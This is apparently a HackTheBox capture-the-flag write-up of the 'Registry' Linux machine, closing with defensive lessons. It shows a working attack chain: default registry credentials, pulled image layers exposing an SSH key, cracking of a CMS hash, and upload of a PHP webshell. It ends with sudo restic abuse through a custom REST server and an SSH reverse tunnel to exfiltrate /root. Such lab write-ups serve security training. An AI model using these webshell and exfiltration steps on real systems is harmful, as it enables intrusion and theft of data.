HTB: Registry Writeup
Registry - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Registry |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.89 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Registry is a hard difficulty Linux machine that demonstrates the security risks of misconfigured Docker registries, the dangers of leaving sensitive data in container layers, and the exploitation of overly permissive backup utilities. The attack chain begins with discovering a Docker Registry v2 API exposed via HTTPS with default credentials. By pulling image layers through the registry API, we obtain an encrypted SSH private key and its passphrase (stored in an expect script within the container filesystem). SSH access as the bolt user leads to discovering a Bolt CMS instance, whose admin password hash can be cracked from a SQLite database. Exploiting the CMS by modifying configuration to allow PHP uploads provides a www-data shell. Finally, privilege escalation leverages a sudo entry allowing www-data to run restic backup as root against any rest* URL. By implementing a custom Python-based restic REST server (with proper chunked POST and HTTP Range support) and using SSH remote port forwarding to bypass egress filtering, we back up the /root directory and extract the root flag from the backup repository.
TL;DR: Docker Registry API default creds (admin:admin) → pull image blobs → SSH key + expect script passphrase → bolt user → Bolt CMS SQLite database → cracked admin password (strawberry) → config file modification → PHP webshell upload → www-data shell → sudo restic backup with custom REST server + SSH tunnel → root flag extraction from backup.
Reconnaissance
Port Scanning
# Standard service discoverynmap -sC -sV -T4 -p- 10.129.44.89Results:
- Port 22/tcp: OpenSSH (version not specified in logs)
- Port 80/tcp: nginx/1.14.0 (Ubuntu)
- Port 443/tcp: nginx/1.14.0 (Ubuntu) with SSL
The SSL certificate’s Common Name (CN) revealed the hostname docker.registry.htb, which was added to /etc/hosts for further enumeration.
Service Enumeration
Web Service (Port 443)
Accessing the HTTPS service revealed a Docker Registry v2 API at the /v2/ endpoint. Initial access without credentials returned a 401 Unauthorized response, indicating basic authentication was required.
Testing default credentials (admin:admin) granted access to the Docker Registry API. This is a common misconfiguration in Docker Registry deployments where administrators fail to change default credentials or implement proper authentication.
# Access the catalog endpoint with basic authcurl -k -u admin:admin https://10.129.44.89/v2/_catalogThe catalog endpoint revealed a single repository: bolt-image.
# List tags for the bolt-image repositorycurl -k -u admin:admin https://10.129.44.89/v2/bolt-image/tags/listThis returned a latest tag, indicating at least one version of the image was available.
# Retrieve the manifest for the latest tagcurl -k -u admin:admin https://10.129.44.89/v2/bolt-image/manifests/latestThe manifest contained multiple fsLayers entries, each with a blobSum field representing SHA256 digests of the layer contents. These blobs could be individually downloaded from the /v2/bolt-image/blobs/sha256:<digest> endpoint.
Vulnerability Assessment
- Docker Registry Default Credentials: The registry was accessible with
admin:admin, a critical security misconfiguration. - Sensitive Data in Image Layers: Container image layers often contain files that were present during build time, including potentially sensitive configuration files, credentials, and private keys.
- Bolt CMS Weak Credentials: The admin user’s bcrypt hash was stored in a SQLite database and could be cracked using common wordlists.
- File Upload Misconfiguration: The Bolt CMS configuration could be modified to allow PHP file uploads.
- Sudo Privilege Misconfiguration: The
www-datauser had passwordless sudo access to runrestic backupwith a wildcard URL pattern (rest*), enabling arbitrary backup operations as root.
Initial Foothold
Docker Registry Exploitation
The Docker Registry v2 API allows programmatic access to container images. Each image consists of multiple layers (filesystem changes), and the registry stores these as individual blobs. By retrieving the manifest and downloading each blob, we can reconstruct the complete filesystem of the container image.
# Extract blob digests from the manifest and download each layerfor digest in $(curl -s -k -u admin:admin \ https://10.129.44.89/v2/bolt-image/manifests/latest | \ jq -r '.fsLayers[].blobSum' | cut -d: -f2); do curl -k -u admin:admin \ https://10.129.44.89/v2/bolt-image/blobs/sha256:${digest} \ -o ${digest}.tar.gzdone
# Extract each layerfor f in *.tar.gz; do mkdir ${f%.tar.gz} tar xzf $f -C ${f%.tar.gz}/doneAfter extracting all layers, one particular blob (2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791) contained a /root/.ssh/ directory with:
id_rsa: An encrypted RSA private keyid_rsa.pub: The corresponding public key, which revealed the usernamebolt- A
.viminfofile that didn’t contain useful credentials directly
However, the same layer also contained /etc/profile.d/01-ssh.sh, which was an expect script designed to automate SSH login. This script contained the passphrase in plaintext:
# Contents of 01-ssh.sh (expect script fragment)send "GkOcz221Ftb3ugog\n"The expect script’s purpose was to automatically provide the SSH key passphrase during container initialization. This is an anti-pattern in container security—sensitive credentials should never be baked into image layers, as they remain accessible even in intermediate layers.
SSH Private Key Decryption
With the passphrase GkOcz221Ftb3ugog and the encrypted private key, we could decrypt it using OpenSSL:
# Decrypt the SSH private keyopenssl rsa -in id_rsa -passin pass:GkOcz221Ftb3ugog -out bolt_key_decchmod 600 bolt_key_dec
# Verify the keyssh-keygen -y -f bolt_key_decSSH Access as bolt
Using the decrypted key, we authenticated as the bolt user:
# SSH as bolt userssh -i bolt_key_dec bolt@10.129.44.89
# Retrieve user flagcat /home/bolt/user.txt# Output: <redacted>The user flag was successfully captured at this stage.
Lateral Movement to www-data
Bolt CMS Discovery
Enumerating the web root revealed a Bolt CMS installation at /var/www/html/bolt/:
# List web directoriesls -la /var/www/html/Bolt CMS is a lightweight content management system written in PHP. The configuration and database files were stored locally.
Database Extraction
Bolt CMS uses SQLite by default, with the database located at /var/www/html/bolt/app/database/bolt.db:
# Copy the database file via SCPscp -i bolt_key_dec bolt@10.129.44.89:/var/www/html/bolt/app/database/bolt.db .
# Query the database locallysqlite3 bolt.db "SELECT username, password FROM bolt_users;"The admin user’s password was stored as a bcrypt hash. Bcrypt hashes have the format $2y$10$... and are designed to be computationally expensive to crack, but weak passwords remain vulnerable to dictionary attacks.
Password Cracking
# Extract hash to a fileecho '$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK' > admin.hash
# Crack with john using rockyou wordlistjohn --wordlist=/usr/share/wordlists/rockyou.txt admin.hash# Output: strawberryThe password strawberry was recovered in seconds, demonstrating the weakness of using common passwords even with strong hashing algorithms.
Bolt CMS Authentication
Accessing the Bolt admin panel at https://10.129.44.89/bolt/bolt/ and logging in with admin:strawberry granted full administrative access to the CMS.
Configuration Modification for PHP Upload
By default, Bolt CMS restricts file uploads to safe types (images, documents, etc.) through the accept_file_types configuration parameter. However, administrators can modify this via the web interface.
The configuration file /var/www/html/bolt/app/config/config.yml needed modification to include php in the allowed file types:
# Via SSH as bolt user, read the current configcat /var/www/html/bolt/app/config/config.yml | grep accept_file_types# Default: accept_file_types: [ twig, html, js, css, scss, gif, jpg, ... ]
# Modify locally to add php at the beginningsed 's/accept_file_types: \[ twig,/accept_file_types: [ php, twig,/' config.yml > config_mod.ymlThe modification was then saved through the Bolt CMS file editor interface:
# Using the web interface File Editor# 1. Navigate to Configuration > File Editor# 2. Select config/config.yml# 3. Add 'php' to accept_file_types array# 4. Click SaveImportant timing constraint: The machine had a cron job that reset config.yml and cleared the /var/www/html/bolt/files/ directory approximately every minute. This meant the entire chain (config modification → file upload → shell execution) needed to be completed within a narrow time window.
PHP Webshell Upload
With PHP files now permitted, a simple webshell could be uploaded:
<?php echo "SHELLOK:"; echo shell_exec($_GET["cmd"]);?>The upload was performed through the Bolt file manager interface, using the correct form field name file_upload[select][] and posting to /bolt/bolt/files:
# Automated upload script (excerpt)# Create webshellprintf '<?php echo "SHELLOK:"; echo shell_exec($_GET["cmd"]);?>' > shell.php
# Upload via curlcurl -s -k -b cookies.txt -H "Host: registry.htb" \ -F "file_upload[select][]=@shell.php;type=image/png" \ -F "file_upload[upload]=Upload file" \ -F "file_upload[_token]=$TOKEN" \ https://10.129.44.89/bolt/bolt/filesNote the MIME type was set to image/png to bypass any client-side filtering, though the server-side check only validated the file extension (now including .php).
Webshell Execution
The uploaded shell was accessible at https://10.129.44.89/bolt/files/shell.php:
# Test webshellcurl -k "https://10.129.44.89/bolt/files/shell.php?cmd=id"# Output: SHELLOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Check sudo privilegescurl -k "https://10.129.44.89/bolt/files/shell.php?cmd=sudo+-l"# Output includes:# User www-data may run the following commands on registry:# (root) NOPASSWD: /usr/bin/restic backup -r rest*The sudo entry revealed that www-data could execute /usr/bin/restic backup as root with no password, provided the repository URL matched the pattern rest*. This wildcard pattern is critical—it allows us to specify any URL beginning with “rest”, including local addresses.
Privilege Escalation
Understanding Restic
Restic is a modern backup program that supports multiple backend storage types, including REST servers via HTTP/HTTPS. The sudo entry allowed www-data to back up arbitrary files (including /root) to a REST server of our choosing.
The key insight is that by controlling the backup destination, we can:
- Force restic to back up sensitive files (like
/root/root.txt) - Retrieve those files from our own backup server
- Mount or extract the backup to read the contents
Restic REST Server Implementation
The standard restic REST server (restic/rest-server) is typically deployed via Docker. However, the target machine had no Docker client available, and our jump box environment had limited resources. More critically, a naive HTTP server implementation would fail due to two specific requirements of restic 0.8.3:
-
Chunked POST bodies: Restic sends backup data using HTTP chunked transfer encoding (no Content-Length header). A server that only reads
Content-Lengthbytes will receive zero-byte files. -
HTTP Range requests: Restic optimizes blob retrieval using Range headers (
Range: bytes=start-end). A server that doesn’t support Range requests returns the entire file starting from byte 0, causing decryption failures for blobs not at the beginning of pack files (“ciphertext verification failed”).
A custom Python implementation was created to handle these requirements:
#!/usr/bin/env python3# restserver.py - Minimal restic REST server with chunked POST and Range GET supportimport os, sys, jsonfrom http.server import BaseHTTPRequestHandler, HTTPServerfrom socketserver import ThreadingMixIn
BASE = sys.argv[1] if len(sys.argv) > 1 else "/dev/shm/reprepo"PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 34569TYPES = ("data", "index", "keys", "locks", "snapshots")
def diskpath(path): # Convert URL path to filesystem path p = path.split("?", 1)[0].strip("/") return os.path.join(BASE, p) if p else BASE
class H(BaseHTTPRequestHandler): def log_message(self, *a): sys.stderr.write("%s %s\n" % (self.command, self.path))
def _mkrepo(self): # Create repository directory structure for t in TYPES: os.makedirs(os.path.join(BASE, t), exist_ok=True)
def do_POST(self): # Handle repository initialization and blob uploads p = self.path.split("?", 1)[0] if p == "/" or "create=true" in self.path: self._mkrepo() self.send_response(200) self.end_headers() return
# Handle chunked transfer encoding te = (self.headers.get("Transfer-Encoding") or "").lower() if "chunked" in te: body = b"" while True: line = self.rfile.readline().strip() if not line: continue try: sz = int(line.split(b";")[0], 16) except ValueError: break if sz == 0: self.rfile.readline() # trailing CRLF break body += self.rfile.read(sz) self.rfile.readline() # CRLF after chunk else: length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if length else b""
# Write to disk dp = diskpath(self.path) os.makedirs(os.path.dirname(dp), exist_ok=True) with open(dp, "wb") as f: f.write(body) self.send_response(200) self.end_headers()
def do_HEAD(self): # Check if blob exists dp = diskpath(self.path) if os.path.isfile(dp): self.send_response(200) self.send_header("Content-Length", str(os.path.getsize(dp))) self.end_headers() else: self.send_response(404) self.end_headers()
def do_GET(self): p = self.path.split("?", 1)[0].strip("/") dp = diskpath(self.path)
# List directory contents (for snapshots, keys, etc.) if p in TYPES or (p and os.path.isdir(dp)): names = [] if os.path.isdir(dp): for rootd, dirs, files in os.walk(dp): names.extend(files) out = json.dumps(names).encode() self.send_response(200) self.send_header("Content-Type", "application/vnd.x.restic.rest.v1+json") self.send_header("Content-Length", str(len(out))) self.end_headers() self.wfile.write(out) return
# Return file with Range support if os.path.isfile(dp): data = open(dp, "rb").read() rng = self.headers.get("Range")
# Handle Range requests (critical for restic) if rng and rng.startswith("bytes="): spec = rng[len("bytes="):].split(",")[0] s, _, e = spec.partition("-") start = int(s) if s else 0 end = int(e) if e else len(data) - 1 end = min(end, len(data) - 1) chunk = data[start:end + 1]
self.send_response(206) # Partial Content self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Range", "bytes %d-%d/%d" % (start, end, len(data))) self.send_header("Content-Length", str(len(chunk))) self.end_headers() self.wfile.write(chunk) return
# Full file response self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) return
self.send_response(404) self.end_headers()
def do_DELETE(self): # Handle blob deletion dp = diskpath(self.path) try: os.remove(dp) self.send_response(200) except Exception: self.send_response(404) self.end_headers()
class TS(ThreadingMixIn, HTTPServer): daemon_threads = True
if __name__ == "__main__": os.makedirs(BASE, exist_ok=True) print("serving %s on 127.0.0.1:%d" % (BASE, PORT)) TS(("127.0.0.1", PORT), H).serve_forever()Why these implementations matter:
- Chunked POST: Without dechunking, the config file is written with 0 bytes, causing “config file has zero size” errors when restic tries to open the repository.
- Range GET: Restic stores multiple blobs in “pack files” and uses Range requests to read specific blobs by offset. Without Range support, requests for blobs at offset > 0 return data from offset 0, which fails HMAC verification (restic encrypts and authenticates each blob). Trees (directory listings) are often at offset 0 so
restic lsmay work, butrestic dumpof actual file contents fails with “ciphertext verification failed”—a very misleading error message.
REST Server Deployment
The server was deployed on the jump host (which had internet access for the restic binary but the target machine did not):
# On jump host, in /dev/shm (due to /tmp being 100% full)python3 /dev/shm/restserver.py /dev/shm/reprepo 34569 >/dev/shm/rest.log 2>&1 &
# Initialize the repositoryexport RESTIC_PASSWORD=pwnpwnrestic -r rest:http://127.0.0.1:34569/ init
# Verify repositoryrestic -r rest:http://127.0.0.1:34569/ snapshots# Output: 0 snapshots (empty repository)SSH Remote Port Forward
The target machine had egress filtering that blocked outbound connections to external hosts. However, SSH remote port forwarding (-R) allows the SSH client (target) to accept connections on its localhost that are forwarded back through the SSH tunnel to the jump host.
# From jump host, establish reverse tunnel# Target's 127.0.0.1:8001 → Jump's 127.0.0.1:34569ssh -i /dev/shm/bolt_key_dec \ -o StrictHostKeyChecking=no \ -o ExitOnForwardFailure=yes \ -o ServerAliveInterval=30 \ -N \ -R 8001:127.0.0.1:34569 \ bolt@10.129.44.89 &This command establishes a persistent tunnel where connections to port 8001 on the target are forwarded to port 34569 on the jump host (where our REST server listens).
Why -R instead of -L:
-L(local forward) requires the target to initiate connections to our server, but egress is blocked.-R(remote forward) makes the jump host’s service available to the target via localhost, bypassing egress restrictions.
Sudo Restic Backup Execution
With the tunnel in place and the REST server running, we could trigger the backup via the webshell:
# Stage the restic password file on target (sudo env_reset strips environment)echo "pwnpwn" > /dev/shm/rpchmod 644 /dev/shm/rp
# Execute backup via webshellcurl -k "https://10.129.44.89/bolt/files/shell.php" \ --data-urlencode \ 'cmd=sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8001/ --password-file /dev/shm/rp /root 2>&1'
# Output includes:# scan [/root]# [0:00] 10 directories, 13 files, 27.856 KiB# snapshot 0131894d savedKey technical details:
-
—password-file instead of RESTIC_PASSWORD: sudo with
env_resetstrips environment variables. The password must be provided via file. -
rest wildcard*: The sudo entry specifies
-r rest*, which means the-rargument must start with “rest”. This allowsrest:http://127.0.0.1:8001/but would also allowrestaurant:http://...or any other string starting with “rest”. The wildcard also permits additional arguments after the URL (like/root), which is why the command succeeds. -
Backup target /root: The backup includes the entire root home directory, including
.ssh,root.txt, and potentially other sensitive files.
Flag Extraction from Backup
With the backup complete, we could extract files locally on the jump host:
# On jump hostexport RESTIC_PASSWORD=pwnpwnexport TMPDIR=/dev/shm # /tmp was full, causing temp file errors
# List snapshotsrestic -r rest:http://127.0.0.1:34569/ snapshots# Output:# ID Time Host Tags Paths# --------------------------------------------------------------# 0131894d 2026-07-21 20:19:47 registry /root
# List files in snapshotrestic -r rest:http://127.0.0.1:34569/ ls latest | grep -E 'root.txt|\.ssh'# Output:# /root/.ssh/authorized_keys# /root/.ssh/id_rsa# /root/.ssh/id_rsa.pub# /root/root.txt
# Dump root flagrestic -r rest:http://127.0.0.1:34569/ dump latest /root/root.txt# Output: <redacted>The root flag was successfully extracted from the backup without needing direct root access to the machine.
Attack Chain Summary
Docker Registry API (admin:admin)→ Download image blobs (bolt-image:latest)→ Extract SSH key + expect script with passphrase (GkOcz221Ftb3ugog)→ SSH as bolt user (user.txt)→ Extract Bolt CMS database (bolt.db)→ Crack admin bcrypt hash (strawberry)→ Modify config.yml to allow PHP uploads→ Upload PHP webshell (www-data shell)→ Deploy custom Python restic REST server on jump host→ SSH remote port forward (-R 8001:127.0.0.1:34569)→ Sudo restic backup /root to localhost:8001→ Extract root.txt from backup repositoryTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Docker Registry API interaction, web requests, webshell execution |
jq | JSON parsing of Docker manifest |
tar | Extracting Docker image layer blobs |
openssl | Decrypting SSH private key |
ssh | Remote access and port forwarding |
scp | Secure file copy for database extraction |
sqlite3 | Querying Bolt CMS database |
john | Password hash cracking |
python3 | Custom restic REST server implementation |
restic | Backup repository management and file extraction |
Key Learnings
Techniques Practiced
- Docker Registry v2 API enumeration: Using the catalog, tags, manifests, and blobs endpoints to reconstruct container images without docker client access
- Container layer analysis: Understanding that intermediate layers persist all files that existed during build, even if later deleted
- Expect script analysis: Recognizing automation scripts (expect, AutoIt, etc.) as sources of hardcoded credentials
- SQLite database forensics: Extracting and querying SQLite databases for credential harvesting
- CMS configuration exploitation: Modifying configuration files via admin interfaces to enable dangerous file upload types
- Timing attack windows: Working within narrow time constraints imposed by automated cleanup scripts
- HTTP protocol implementation: Building a spec-compliant REST server supporting chunked transfer encoding and Range requests
- SSH tunneling for egress bypass: Using remote port forwarding to make internal services accessible through existing SSH sessions
- Backup program abuse: Leveraging privileged backup utilities to extract sensitive data without direct access
- Restic repository manipulation: Understanding backup repository structure, snapshot browsing, and selective file extraction
Lessons Learned
-
Default Credentials Are Critically Dangerous: The entire attack chain began with
admin:adminon the Docker Registry. Default credentials should never remain in production, and all services should enforce strong authentication from initial deployment. -
Container Images Are Not Secure Storage: Docker layers are immutable and cumulative. Any file written during build remains in intermediate layers even if deleted in later layers. Never store credentials, keys, or sensitive data in Dockerfiles. Use secrets management, environment variables, or volume mounts instead.
-
Expect Scripts Are Credential Goldmines: Automation scripts designed to bypass interactive prompts often contain plaintext passwords or passphrases. Review all automation scripts (
expect,.bat,.ps1, etc.) for hardcoded credentials. -
Configuration File Access = Code Execution: Any CMS or application that allows authenticated users to modify configuration files (especially file upload restrictions) can often lead to arbitrary code execution. These modifications should require separate authorization and audit logging.
-
Sudo Wildcards Are Dangerous: The
rest*pattern in the sudo entry was intended to restrict the backup destination but actually allows any URL starting with “rest”. Sudo entries should be as specific as possible, and wildcards should be avoided. Even better, use tools likesudoeditfor file operations or dedicated APIs for backup operations. -
Backup Programs Run as Root Are High-Value Targets: Tools like restic, rsync, and tar, when allowed to run as root, can read any file on the system. If user-controlled destinations are permitted, these become data exfiltration vectors. Restrict backup operations to read-only snapshots or use dedicated backup users with minimal privileges.
-
HTTP Protocol Details Matter: The failure modes of incomplete HTTP server implementations can be subtle and misleading. Restic’s “ciphertext verification failed” error for missing Range support appeared to be a cryptographic issue but was actually a protocol implementation problem. Always implement complete HTTP semantics when building server applications.
-
Network Egress Filtering Can Be Bypassed via Existing Tunnels: While egress filtering blocks direct outbound connections, SSH reverse tunnels leverage existing inbound SSH access to create outbound channels. Defense in depth requires monitoring for unusual port forwards and restricting SSH options.
-
Timing Windows Require Atomic Scripts: The one-minute cron cleanup required combining multiple steps (config modification, file upload, execution) into a single fast script. Understanding and working within defensive timing constraints is crucial for exploiting transient vulnerabilities.
-
Resource Constraints Inform Approach: The full
/tmppartition and shared jump box environment required using/dev/shmand writing custom implementations instead of standard tools. Real-world exploitation often involves adapting techniques to resource-constrained environments.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew conceptual explanations and technique descriptions from the official HackTheBox writeup for Registry by MrR3boot, available through the HackTheBox platform. All specific commands, outputs, IP addresses, and implementation details are from the documented solve above and differ from the reference material.